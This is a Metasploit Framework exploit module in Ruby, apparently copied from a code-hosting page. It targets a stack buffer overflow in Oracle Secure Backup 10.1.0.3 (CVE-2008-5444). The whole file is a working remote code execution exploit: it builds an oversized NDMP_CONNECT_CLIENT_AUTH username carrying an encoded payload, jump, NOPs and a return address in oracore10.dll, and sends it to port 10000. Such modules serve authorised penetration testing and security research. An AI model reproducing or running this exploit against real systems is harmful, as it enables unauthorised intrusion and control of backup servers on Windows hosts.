90 lines
2.6 KiB
Ruby
90 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::NDMP
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
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'Description' => %q{
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The module exploits a stack overflow in Oracle Secure Backup.
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When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
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an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-5444' ],
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[ 'OSVDB', '51340' ],
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[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
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],
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'Platform' => 'win',
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Targets' =>
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[
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[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
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],
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'DisclosureDate' => 'Jan 14 2009',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(10000)], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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ndmp_recv()
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username = rand_text_alphanumeric(3789 - payload.encoded.length)
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username << payload.encoded + Rex::Arch::X86.jmp_short(6)
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username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
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username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
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password = rand_text_alphanumeric(rand(25) + 1)
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# Create the authentication request
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auth = [
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0, # Sequence number
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Time.now.to_i, # Current time
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0, # Message type (request)
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0x901, # Message name (connect_client_auth)
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0, # Reply sequence number
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0, # Error status
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1 # Authentication type
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].pack('NNNNNNN') +
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[ username.length ].pack('N') + username +
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[ password.length ].pack('N') + password +
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[ 4 ].pack('N')
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print_status("Sending authentication request...")
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ndmp_send(auth)
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handler
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disconnect
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end
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end
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